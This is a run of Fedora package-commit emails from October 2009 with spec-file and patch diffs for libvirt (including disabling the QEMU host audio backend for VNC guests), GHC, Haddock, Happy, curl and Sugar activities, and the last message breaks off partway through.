-From 16f20706f8d2f113bb6a49f56e415c16d438183e Mon Sep 17 00:00:00 2001
+From 6b12148864cf6a1d22a2cf4e0e9c48e9946331cb Mon Sep 17 00:00:00 2001
 From: Mark McLoughlin <markmc at redhat.com>
 Date: Wed, 30 Sep 2009 18:37:03 +0100
 Subject: [PATCH] Fix USB device re-labelling
@@ -37,5 +37,5 @@ index bc295b1..b4dc153 100644
  
      case VIR_DOMAIN_HOSTDEV_SUBSYS_TYPE_PCI: {
 -- 
-1.6.4.4
+1.6.2.5
 


Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/libvirt.spec,v
retrieving revision 1.184
retrieving revision 1.185
diff -u -p -r1.184 -r1.185
--- libvirt.spec	30 Sep 2009 17:58:52 -0000	1.184
+++ libvirt.spec	1 Oct 2009 08:35:19 -0000	1.185
@@ -151,15 +151,11 @@
 Summary: Library providing a simple API virtualization
 Name: libvirt
 Version: 0.7.1
-Release: 7%{?dist}%{?extra_release}
+Release: 8%{?dist}%{?extra_release}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
 
-# Temporary hack till PulseAudio autostart problems are sorted
-# out when SELinux enforcing (bz 486112)
-Patch00: libvirt-0.6.4-svirt-sound.patch
-
 # A couple of hot-unplug memory handling fixes (#523953)
 Patch01: libvirt-fix-net-hotunplug-double-free.patch
 Patch02: libvirt-fix-pci-hostdev-hotunplug-leak.patch
@@ -173,6 +169,9 @@ Patch04: libvirt-fix-qemu-raw-format-sav
 # Fix USB device passthrough (#422683)
 Patch05: libvirt-fix-usb-device-passthrough.patch
 
+# Disable sound backend (#524499, #508317)
+Patch06: libvirt-disable-audio-backend.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
 BuildRequires: python-devel
@@ -385,12 +384,12 @@ of recent versions of Linux (and other O
 %prep
 %setup -q
 
-%patch00 -p1
 %patch01 -p1
 %patch02 -p1
 %patch03 -p1
 %patch04 -p1
 %patch05 -p1
+%patch06 -p1
 
 %build
 %if ! %{with_xen}
@@ -781,6 +780,9 @@ fi
 %endif
 
 %changelog
+* Thu Oct  1 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-8
+- Disable sound backend, even when selinux is disabled (#524499)
+
 * Wed Sep 30 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-7
 - Fix USB device passthrough (#522683)
 


--- libvirt-0.6.4-svirt-sound.patch DELETED ---



From markmc at fedoraproject.org  Thu Oct  1 08:35:48 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Thu,  1 Oct 2009 08:35:48 +0000 (UTC)
Subject: rpms/libvirt/F-12 libvirt-disable-audio-backend.patch, NONE,
	1.1 libvirt-fix-drv-supports-feature-bogus-error.patch, 1.1,
	1.2 libvirt-fix-net-hotunplug-double-free.patch, 1.3,
	1.4 libvirt-fix-pci-hostdev-hotunplug-leak.patch, 1.3,
	1.4 libvirt-fix-qemu-raw-format-save.patch, 1.1,
	1.2 libvirt-fix-usb-device-passthrough.patch, 1.1,
	1.2 libvirt.spec, 1.184, 1.185 libvirt-0.6.4-svirt-sound.patch,
	1.6, NONE
Message-ID: <20091001083548.D587111C00C1@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11962

Modified Files:
	libvirt-fix-drv-supports-feature-bogus-error.patch 
	libvirt-fix-net-hotunplug-double-free.patch 
	libvirt-fix-pci-hostdev-hotunplug-leak.patch 
	libvirt-fix-qemu-raw-format-save.patch 
	libvirt-fix-usb-device-passthrough.patch libvirt.spec 
Added Files:
	libvirt-disable-audio-backend.patch 
Removed Files:
	libvirt-0.6.4-svirt-sound.patch 
Log Message:
* Thu Oct  1 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-8
- Disable sound backend, even when selinux is disabled (#524499)


libvirt-disable-audio-backend.patch:
 qemud/libvirtd.sysconf |    8 ++++++++
 src/qemu_conf.c        |   15 ++++++++++++++-
 2 files changed, 22 insertions(+), 1 deletion(-)

--- NEW FILE libvirt-disable-audio-backend.patch ---
>From 4721ceb9b85daabe53804627473b06ced821c695 Mon Sep 17 00:00:00 2001
From: Daniel P. Berrange <berrange at redhat.com>
Date: Mon, 14 Sep 2009 11:23:20 +0100
Subject: [PATCH] Allow control over QEMU audio backend

When using VNC for graphics + keyboard + mouse, we shouldn't
then use the host OS for audio. Audio should go back over
VNC.

When using SDL for graphics, we should use the host OS for
audio since that's where the display is. We need to allow
certain QEMU env variables to be passed through to guest
too to allow choice of QEMU audio backend.

* qemud/libvirtd.sysconf: Mention QEMU/SDL audio env vars
* src/qemu_conf.c: Passthrough QEMU/SDL audio env for SDL display,
  disable host audio for VNC display

(cherry picked from commit b08e6d38ae7a0ed70300d7d82107f83fddb60f44)

Fedora-patch: libvirt-disable-audio-backend.patch
---
 qemud/libvirtd.sysconf |    8 ++++++++
 src/qemu_conf.c        |   14 ++++++++++++++
 2 files changed, 22 insertions(+), 0 deletions(-)

diff --git a/qemud/libvirtd.sysconf b/qemud/libvirtd.sysconf
index fe4596a..28080a0 100644
--- a/qemud/libvirtd.sysconf
+++ b/qemud/libvirtd.sysconf
@@ -7,3 +7,11 @@
 
 # Override Kerberos service keytab for SASL/GSSAPI
 #KRB5_KTNAME=/etc/libvirt/krb5.tab
+
+# Override the QEMU/SDL default audio driver probing when
+# starting virtual machines using SDL graphics
+#
+# NB these have no effect for VMs using VNC
+#QEMU_AUDIO_DRV=sdl
+#
+#SDL_AUDIODRIVER=pulse
diff --git a/src/qemu_conf.c b/src/qemu_conf.c
index f92bcef..0dd0624 100644
--- a/src/qemu_conf.c
+++ b/src/qemu_conf.c
@@ -2109,6 +2109,13 @@ int qemudBuildCommandLine(virConnectPtr conn,
             ADD_ARG_LIT("-k");
             ADD_ARG_LIT(def->graphics[0]->data.vnc.keymap);
         }
+
+        /* QEMU implements a VNC extension for providing audio, so we
+         * set the audio backend to none, to prevent it opening the
+         * host OS audio devices since that causes security issues
+         * and is non-sensical when using VNC.
+         */
+        ADD_ENV_LIT("QEMU_AUDIO_DRV=none");
     } else if ((def->ngraphics == 1) &&
                def->graphics[0]->type == VIR_DOMAIN_GRAPHICS_TYPE_SDL) {
         char *xauth = NULL;
@@ -2131,6 +2138,13 @@ int qemudBuildCommandLine(virConnectPtr conn,
             ADD_ENV(display);
         if (def->graphics[0]->data.sdl.fullscreen)
             ADD_ARG_LIT("-full-screen");
+
+        /* If using SDL for video, then we should just let it
+         * use QEMU's host audio drivers, possibly SDL too
+         * User can set these two before starting libvirtd
+         */
+        ADD_ENV_COPY("QEMU_AUDIO_DRV");
+        ADD_ENV_COPY("SDL_AUDIODRIVER");
     }
 
     if (def->nvideos) {
-- 
1.6.2.5


libvirt-fix-drv-supports-feature-bogus-error.patch:
 libvirt.c |    8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

Index: libvirt-fix-drv-supports-feature-bogus-error.patch
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-12/libvirt-fix-drv-supports-feature-bogus-error.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- libvirt-fix-drv-supports-feature-bogus-error.patch	21 Sep 2009 15:32:34 -0000	1.1
+++ libvirt-fix-drv-supports-feature-bogus-error.patch	1 Oct 2009 08:35:16 -0000	1.2
@@ -1,4 +1,4 @@
-From 2f6e857ac7d6ed5cd417e684147dd9c98775ab3d Mon Sep 17 00:00:00 2001
+From 7692e1e19487c28454b1e5f6488d5574c70883f2 Mon Sep 17 00:00:00 2001
 From: Chris Lalancette <clalance at redhat.com>
 Date: Mon, 21 Sep 2009 14:53:31 +0200
 Subject: [PATCH] Don't do virSetConnError when virDrvSupportsFeature is successful.

libvirt-fix-net-hotunplug-double-free.patch:
 qemu_driver.c |    5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

Index: libvirt-fix-net-hotunplug-double-free.patch
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-12/libvirt-fix-net-hotunplug-double-free.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- libvirt-fix-net-hotunplug-double-free.patch	21 Sep 2009 15:32:34 -0000	1.3
+++ libvirt-fix-net-hotunplug-double-free.patch	1 Oct 2009 08:35:17 -0000	1.4
@@ -1,4 +1,4 @@
-From d09ff3c35c29d14760d5ea03559042cc024e09ab Mon Sep 17 00:00:00 2001
+From ba585ed6cff624c6c0f1f9801382fd6846466ee0 Mon Sep 17 00:00:00 2001
 From: Mark McLoughlin <markmc at redhat.com>
 Date: Thu, 17 Sep 2009 15:31:08 +0100
 Subject: [PATCH] Fix net/disk hot-unplug segfault

libvirt-fix-pci-hostdev-hotunplug-leak.patch:
 qemu_driver.c |   21 +++++++++++++--------
 1 file changed, 13 insertions(+), 8 deletions(-)

Index: libvirt-fix-pci-hostdev-hotunplug-leak.patch
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-12/libvirt-fix-pci-hostdev-hotunplug-leak.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- libvirt-fix-pci-hostdev-hotunplug-leak.patch	21 Sep 2009 15:32:34 -0000	1.3
+++ libvirt-fix-pci-hostdev-hotunplug-leak.patch	1 Oct 2009 08:35:17 -0000	1.4
@@ -1,4 +1,4 @@
-From d04ac8624f5fabe7587982796f2e2161220b0fcc Mon Sep 17 00:00:00 2001
+From 17831d20051f8de8f1f7d661e8a23f4fe67c2153 Mon Sep 17 00:00:00 2001
 From: Mark McLoughlin <markmc at redhat.com>
 Date: Thu, 17 Sep 2009 15:32:45 +0100
 Subject: [PATCH] Fix leak in PCI hostdev hot-unplug

libvirt-fix-qemu-raw-format-save.patch:
 qemu_driver.c |   29 ++++++++++++++++++-----------
 1 file changed, 18 insertions(+), 11 deletions(-)

Index: libvirt-fix-qemu-raw-format-save.patch
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-12/libvirt-fix-qemu-raw-format-save.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- libvirt-fix-qemu-raw-format-save.patch	21 Sep 2009 15:32:34 -0000	1.1
+++ libvirt-fix-qemu-raw-format-save.patch	1 Oct 2009 08:35:17 -0000	1.2
@@ -1,4 +1,4 @@
-From e50c91fdcea5d81e3eb2051c05f4e51a16c3e692 Mon Sep 17 00:00:00 2001
+From f1be5a4714e194a84840343e0937fe62463a18dc Mon Sep 17 00:00:00 2001
 From: Charles Duffy <Charles_Duffy at dell.com>
 Date: Fri, 18 Sep 2009 11:32:35 -0500
 Subject: [PATCH] Prevent attempt to call cat -c during virDomainSave to raw

libvirt-fix-usb-device-passthrough.patch:
 security_selinux.c |    4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

Index: libvirt-fix-usb-device-passthrough.patch
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-12/libvirt-fix-usb-device-passthrough.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- libvirt-fix-usb-device-passthrough.patch	30 Sep 2009 17:57:50 -0000	1.1
+++ libvirt-fix-usb-device-passthrough.patch	1 Oct 2009 08:35:17 -0000	1.2
@@ -1,4 +1,4 @@
-From 16f20706f8d2f113bb6a49f56e415c16d438183e Mon Sep 17 00:00:00 2001
+From 6b12148864cf6a1d22a2cf4e0e9c48e9946331cb Mon Sep 17 00:00:00 2001
 From: Mark McLoughlin <markmc at redhat.com>
 Date: Wed, 30 Sep 2009 18:37:03 +0100
 Subject: [PATCH] Fix USB device re-labelling
@@ -37,5 +37,5 @@ index bc295b1..b4dc153 100644
  
      case VIR_DOMAIN_HOSTDEV_SUBSYS_TYPE_PCI: {
 -- 
-1.6.4.4
+1.6.2.5
 


Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-12/libvirt.spec,v
retrieving revision 1.184
retrieving revision 1.185
diff -u -p -r1.184 -r1.185
--- libvirt.spec	30 Sep 2009 17:57:50 -0000	1.184
+++ libvirt.spec	1 Oct 2009 08:35:47 -0000	1.185
@@ -151,15 +151,11 @@
 Summary: Library providing a simple API virtualization
 Name: libvirt
 Version: 0.7.1
-Release: 7%{?dist}%{?extra_release}
+Release: 8%{?dist}%{?extra_release}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
 
-# Temporary hack till PulseAudio autostart problems are sorted
-# out when SELinux enforcing (bz 486112)
-Patch00: libvirt-0.6.4-svirt-sound.patch
-
 # A couple of hot-unplug memory handling fixes (#523953)
 Patch01: libvirt-fix-net-hotunplug-double-free.patch
 Patch02: libvirt-fix-pci-hostdev-hotunplug-leak.patch
@@ -173,6 +169,9 @@ Patch04: libvirt-fix-qemu-raw-format-sav
 # Fix USB device passthrough (#422683)
 Patch05: libvirt-fix-usb-device-passthrough.patch
 
+# Disable sound backend (#524499, #508317)
+Patch06: libvirt-disable-audio-backend.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
 BuildRequires: python-devel
@@ -385,12 +384,12 @@ of recent versions of Linux (and other O
 %prep
 %setup -q
 
-%patch00 -p1
 %patch01 -p1
 %patch02 -p1
 %patch03 -p1
 %patch04 -p1
 %patch05 -p1
+%patch06 -p1
 
 %build
 %if ! %{with_xen}
@@ -781,6 +780,9 @@ fi
 %endif
 
 %changelog
+* Thu Oct  1 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-8
+- Disable sound backend, even when selinux is disabled (#524499)
+
 * Wed Sep 30 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-7
 - Fix USB device passthrough (#522683)
 


--- libvirt-0.6.4-svirt-sound.patch DELETED ---



From petersen at fedoraproject.org  Thu Oct  1 08:41:52 2009
From: petersen at fedoraproject.org (Jens Petersen)
Date: Thu,  1 Oct 2009 08:41:52 +0000 (UTC)
Subject: rpms/haddock/devel haddock.spec,1.22,1.23
Message-ID: <20091001084152.8DEAE11C00C1@cvs1.fedora.phx.redhat.com>

Author: petersen

Update of /cvs/extras/rpms/haddock/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13855

Modified Files:
	haddock.spec 
Log Message:
selinux fcontext no longer needed in post script


Index: haddock.spec
===================================================================
RCS file: /cvs/extras/rpms/haddock/devel/haddock.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- haddock.spec	25 Apr 2009 23:22:53 -0000	1.22
+++ haddock.spec	1 Oct 2009 08:41:52 -0000	1.23
@@ -115,9 +115,6 @@ mv ${RPM_BUILD_ROOT}/%{_bindir}/haddock{
 %clean
 rm -rf $RPM_BUILD_ROOT
 
-%post
-semanage fcontext -a -t unconfined_execmem_exec_t %{_bindir}/%{name} >/dev/null 2>&1
-restorecon %{_bindir}/%{name}
 
 %post -n ghc-%{name}-devel
 %ghc_register_pkg
@@ -168,6 +165,9 @@ fi
 
 
 %changelog
+* Thu Oct  1 2009 Jens Petersen <petersen at redhat.com>
+- selinux file context no longer needed in post script
+
 * Sun Apr 26 2009 Jens Petersen <petersen at redhat.com> - 2.4.2-2
 - haddock requires the version of ghc it was built for
 



From petersen at fedoraproject.org  Thu Oct  1 08:45:50 2009
From: petersen at fedoraproject.org (Jens Petersen)
Date: Thu,  1 Oct 2009 08:45:50 +0000 (UTC)
Subject: rpms/ghc/devel ghc.spec,1.96,1.97
Message-ID: <20091001084550.AB94011C00C1@cvs1.fedora.phx.redhat.com>

Author: petersen

Update of /cvs/extras/rpms/ghc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14312

Modified Files:
	ghc.spec 
Log Message:
- selinux file context no longer needed in post script
- (for ghc-6.12-shared) drop ld.so.conf.d files

--------------------------------------------------------------



Index: ghc.spec
===================================================================
RCS file: /cvs/extras/rpms/ghc/devel/ghc.spec,v
retrieving revision 1.96
retrieving revision 1.97
diff -u -p -r1.96 -r1.97
--- ghc.spec	28 Sep 2009 05:39:09 -0000	1.96
+++ ghc.spec	1 Oct 2009 08:45:50 -0000	1.97
@@ -127,11 +127,11 @@ exit 0
 %endif
 
 %if %{without prof}
-echo "GhcLibWays=%{?with_shared:dyn}" >> mk/build.mk
+echo "GhcLibWays = %{?with_shared:dyn}" >> mk/build.mk
 %endif
 
 %if %{with manual}
-echo "XMLDocWays   = html" >> mk/build.mk
+echo "XMLDocWays = html" >> mk/build.mk
 %endif
 
 ./configure --prefix=%{_prefix} --exec-prefix=%{_exec_prefix} \
@@ -156,11 +156,6 @@ make DESTDIR=${RPM_BUILD_ROOT} install
 make DESTDIR=${RPM_BUILD_ROOT} install-docs
 %endif
 
-%if %{with shared}
-mkdir -p ${RPM_BUILD_ROOT}/%{_sysconfdir}/ld.so.conf.d
-echo %{_libdir}/%{name}-%{version} > ${RPM_BUILD_ROOT}/%{_sysconfdir}/ld.so.conf.d/ghc-%{_arch}.conf
-%endif
-
 SRC_TOP=$PWD
 rm -f rpm-*.files
 ( cd $RPM_BUILD_ROOT
@@ -200,9 +195,6 @@ rm testghc/*
 rm -rf $RPM_BUILD_ROOT
 
 %post
-semanage fcontext -a -t unconfined_execmem_exec_t %{_libdir}/ghc-%{version}/ghc >/dev/null 2>&1 || :
-restorecon %{_libdir}/ghc-%{version}/ghc
-
 # Alas, GHC, Hugs, and nhc all come with different set of tools in
 # addition to a runFOO:
 #
@@ -265,19 +257,16 @@ fi
 %ghost %{_docdir}/%{name}/libraries/minus.gif
 %ghost %{_docdir}/%{name}/libraries/plus.gif
 
-%if %{with shared}
-%files libs
-%defattr(-,root,root,-)
-%{_sysconfdir}/ld.so.conf.d/ghc-%{_arch}.conf
-%{_libdir}/libHS*-ghc%{version}.so
-%endif
-
 %if %{with prof}
 %files prof -f rpm-prof.files
 %defattr(-,root,root,-)
 %endif
 
 %changelog
+* Thu Oct  1 2009 Jens Petersen <petersen at redhat.com>
+- selinux file context no longer needed in post script
+- (for ghc-6.12-shared) drop ld.so.conf.d files
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 6.10.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From erikos at fedoraproject.org  Thu Oct  1 08:56:08 2009
From: erikos at fedoraproject.org (Simon Schampijer)
Date: Thu,  1 Oct 2009 08:56:08 +0000 (UTC)
Subject: rpms/sugar-terminal/F-12 .cvsignore, 1.6, 1.7 sources, 1.6,
	1.7 sugar-terminal.spec, 1.9, 1.10
Message-ID: <20091001085609.0F13211C00C1@cvs1.fedora.phx.redhat.com>

Author: erikos

Update of /cvs/pkgs/rpms/sugar-terminal/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16035

Modified Files:
	.cvsignore sources sugar-terminal.spec 
Log Message:
* Thu Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 27-1
- Make canvas emit motion-notify-event during pointer motion (dslo#1402) (Aleksey Lim)
- Fix typo (dslo#1356) (Aleksey Lim)
- Updated translations for French, German, Portuguese and Mongolian




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-terminal/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	11 Sep 2009 17:29:09 -0000	1.6
+++ .cvsignore	1 Oct 2009 08:56:07 -0000	1.7
@@ -1 +1 @@
-Terminal-26.tar.bz2
+Terminal-27.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-terminal/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	11 Sep 2009 17:29:09 -0000	1.6
+++ sources	1 Oct 2009 08:56:08 -0000	1.7
@@ -1 +1 @@
-6cb98c57ed234f014a87ab04cefb0628  Terminal-26.tar.bz2
+003bdc5d8ef5081ce8795fbdbdbe5100  Terminal-27.tar.bz2


Index: sugar-terminal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-terminal/F-12/sugar-terminal.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sugar-terminal.spec	11 Sep 2009 17:29:09 -0000	1.9
+++ sugar-terminal.spec	1 Oct 2009 08:56:08 -0000	1.10
@@ -1,5 +1,5 @@
 Name: sugar-terminal
-Version: 26
+Version: 27
 Release: 1%{?dist}
 Summary: Terminal for Sugar
 Group: Sugar/Activities
@@ -47,6 +47,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 27-1
+- Make canvas emit motion-notify-event during pointer motion (dslo#1402) (Aleksey Lim)
+- Fix typo (dslo#1356) (Aleksey Lim)
+- Updated translations for French, German, Portuguese and Mongolian
+
 * Fri Sep 09 2009 Simon Schampijer <simon at schampijer.de> - 26-1
 - New toolbar design
 



From petersen at fedoraproject.org  Thu Oct  1 09:20:32 2009
From: petersen at fedoraproject.org (Jens Petersen)
Date: Thu,  1 Oct 2009 09:20:32 +0000 (UTC)
Subject: rpms/happy/devel happy.spec,1.14,1.15
Message-ID: <20091001092032.B779711C043C@cvs1.fedora.phx.redhat.com>

Author: petersen

Update of /cvs/extras/rpms/happy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19601

Modified Files:
	happy.spec 
Log Message:
selinux fcontext no longer needed in post script


Index: happy.spec
===================================================================
RCS file: /cvs/extras/rpms/happy/devel/happy.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- happy.spec	16 Sep 2009 09:32:51 -0000	1.14
+++ happy.spec	1 Oct 2009 09:20:31 -0000	1.15
@@ -4,7 +4,7 @@
 Name:           happy
 # part of haskell-platform-2009.2.0.2
 Version:        1.18.4
-Release:        3%{?dist}
+Release:        4%{?dist}
 License:        BSD
 Group:          Development/Tools
 URL:            http://haskell.org/happy/
@@ -53,11 +53,6 @@ rm -rf $RPM_BUILD_ROOT
 rm -rf $RPM_BUILD_ROOT
 
 
-%post
-semanage fcontext -a -t unconfined_execmem_exec_t %{_bindir}/%{name} >/dev/null 2>&1 || :
-restorecon %{_bindir}/%{name}
-
-
 %files
 %defattr(-,root,root,-)
 %doc ANNOUNCE CHANGES LICENSE README TODO doc/happy
@@ -66,6 +61,9 @@ restorecon %{_bindir}/%{name}
 
 
 %changelog
+* Thu Oct  1 2009 Jens Petersen <petersen at redhat.com> - 1.18.4-4
+- selinux fcontext no longer needed in post script
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.18.4-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From petersen at fedoraproject.org  Thu Oct  1 09:23:54 2009
From: petersen at fedoraproject.org (Jens Petersen)
Date: Thu,  1 Oct 2009 09:23:54 +0000 (UTC)
Subject: rpms/happy/F-12 happy.spec,1.14,1.15
Message-ID: <20091001092354.58F1C11C00C1@cvs1.fedora.phx.redhat.com>

Author: petersen

Update of /cvs/extras/rpms/happy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20207

Modified Files:
	happy.spec 
Log Message:
selinux fcontext no longer needed in post script


Index: happy.spec
===================================================================
RCS file: /cvs/extras/rpms/happy/F-12/happy.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- happy.spec	16 Sep 2009 09:32:51 -0000	1.14
+++ happy.spec	1 Oct 2009 09:23:53 -0000	1.15
@@ -4,7 +4,7 @@
 Name:           happy
 # part of haskell-platform-2009.2.0.2
 Version:        1.18.4
-Release:        3%{?dist}
+Release:        4%{?dist}
 License:        BSD
 Group:          Development/Tools
 URL:            http://haskell.org/happy/
@@ -53,11 +53,6 @@ rm -rf $RPM_BUILD_ROOT
 rm -rf $RPM_BUILD_ROOT
 
 
-%post
-semanage fcontext -a -t unconfined_execmem_exec_t %{_bindir}/%{name} >/dev/null 2>&1 || :
-restorecon %{_bindir}/%{name}
-
-
 %files
 %defattr(-,root,root,-)
 %doc ANNOUNCE CHANGES LICENSE README TODO doc/happy
@@ -66,6 +61,9 @@ restorecon %{_bindir}/%{name}
 
 
 %changelog
+* Thu Oct  1 2009 Jens Petersen <petersen at redhat.com> - 1.18.4-4
+- selinux fcontext no longer needed in post script
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.18.4-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From erikos at fedoraproject.org  Thu Oct  1 09:50:24 2009
From: erikos at fedoraproject.org (Simon Schampijer)
Date: Thu,  1 Oct 2009 09:50:24 +0000 (UTC)
Subject: rpms/sugar-turtleart/F-12 .cvsignore, 1.10, 1.11 sources, 1.10,
	1.11 sugar-turtleart.spec, 1.12, 1.13
Message-ID: <20091001095024.2F89411C043C@cvs1.fedora.phx.redhat.com>

Author: erikos

Update of /cvs/pkgs/rpms/sugar-turtleart/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26529

Modified Files:
	.cvsignore sources sugar-turtleart.spec 
Log Message:
* Fri Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 69-1
- chmod +x svg factory
- added missing import gettext from talogo.py
- renamed xo-man to xo-child
- caught missing attribute when running from outside of Sugar
- new translations/artwork for de, fr, es, it
- added translator comments
- fixed several bugs in export to Logo code




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-turtleart/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	14 Sep 2009 16:49:49 -0000	1.10
+++ .cvsignore	1 Oct 2009 09:50:22 -0000	1.11
@@ -1 +1 @@
-TurtleArt-65.tar.bz2
+TurtleArt-69.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-turtleart/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	14 Sep 2009 16:49:49 -0000	1.10
+++ sources	1 Oct 2009 09:50:23 -0000	1.11
@@ -1 +1 @@
-7b392815c01892999b914f0aa29349e4  TurtleArt-65.tar.bz2
+97bb94da8da6b6bd5935dccaad78de50  TurtleArt-69.tar.bz2


Index: sugar-turtleart.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-turtleart/F-12/sugar-turtleart.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sugar-turtleart.spec	14 Sep 2009 16:49:49 -0000	1.12
+++ sugar-turtleart.spec	1 Oct 2009 09:50:23 -0000	1.13
@@ -1,5 +1,5 @@
 Name: sugar-turtleart
-Version: 65
+Version: 69
 Release: 1%{?dist}
 Summary: Turtle Art activity for sugar
 
@@ -47,6 +47,15 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 69-1
+- chmod +x svg factory
+- added missing import gettext from talogo.py
+- renamed xo-man to xo-child
+- caught missing attribute when running from outside of Sugar
+- new translations/artwork for de, fr, es, it
+- added translator comments
+- fixed several bugs in export to Logo code
+
 * Sat Sep 12 2009 Simon Schampijer <simon at schampijer.de> - 65-1
 - new toolbar design
 - added help toolbar



From kdudka at fedoraproject.org  Thu Oct  1 10:13:33 2009
From: kdudka at fedoraproject.org (Kamil Dudka)
Date: Thu,  1 Oct 2009 10:13:33 +0000 (UTC)
Subject: rpms/curl/F-12 curl.spec,1.118,1.119
Message-ID: <20091001101333.38F6E11C00C1@cvs1.fedora.phx.redhat.com>

Author: kdudka

Update of /cvs/extras/rpms/curl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29983

Modified Files:
	curl.spec 
Log Message:
remove outdated comment in .spec


Index: curl.spec
===================================================================
RCS file: /cvs/extras/rpms/curl/F-12/curl.spec,v
retrieving revision 1.118
retrieving revision 1.119
diff -u -p -r1.118 -r1.119
--- curl.spec	27 Sep 2009 15:06:58 -0000	1.118
+++ curl.spec	1 Oct 2009 10:13:33 -0000	1.119
@@ -73,8 +73,6 @@ use cURL's capabilities internally.
 # upstream patches (already applied)
 %patch1 -p1
 %patch2 -p1
-
-# upstream patches (not yet applied)
 %patch3 -p1
 %patch4 -p1
 



From leigh123linux at fedoraproject.org  Thu Oct  1 11:39:01 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Thu,  1 Oct 2009 11:39:01 +0000 (UTC)
Subject: rpms/qbittorrent/devel .cvsignore, 1.15, 1.16 qbittorrent.spec, 1.35,
	1.36 sources, 1.15, 1.16
Message-ID: <20091001113901.183EE11C00C1@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/qbittorrent/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13661

Modified Files:
	.cvsignore qbittorrent.spec sources 
Log Message:
* Thu Oct 01 2009 Leigh Scott <leigh123linux at googlemail.com> - 1.5.3-1
- update to 1.5.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qbittorrent/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	22 Sep 2009 11:25:37 -0000	1.15
+++ .cvsignore	1 Oct 2009 11:39:00 -0000	1.16
@@ -1 +1 @@
-qbittorrent-1.5.2.tar.gz
+qbittorrent-1.5.3.tar.gz


Index: qbittorrent.spec
===================================================================
